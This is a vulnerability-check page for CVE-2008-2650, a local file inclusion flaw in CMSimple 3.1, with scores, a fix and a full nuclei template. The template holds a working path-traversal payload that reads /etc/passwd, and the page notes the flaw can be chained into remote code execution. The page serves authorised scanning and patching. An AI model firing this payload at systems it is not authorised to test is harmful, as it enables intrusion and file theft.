CMSimple 3.1 - Local File Inclusion

mediumseverity

6.8CVSS score

18.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET /index.php?sl=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-2650 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-2650

info:
  name: CMSimple 3.1 - Local File Inclusion
  author: pussycat0x
  severity: medium
  description: |
    CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor.
  reference:
    - http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17
    - http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2650
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42792
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42793
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2008-2650
    cwe-id: CWE-22
    epss-score: 0.18809
    epss-percentile: 0.97305
    cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cmsimple
    product: cmsimple
    shodan-query: cpe:"cpe:2.3:a:cmsimple:cmsimple"
  tags: cve,cve2008,lfi,cmsimple,vuln

http:
  - raw:
      - |
        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from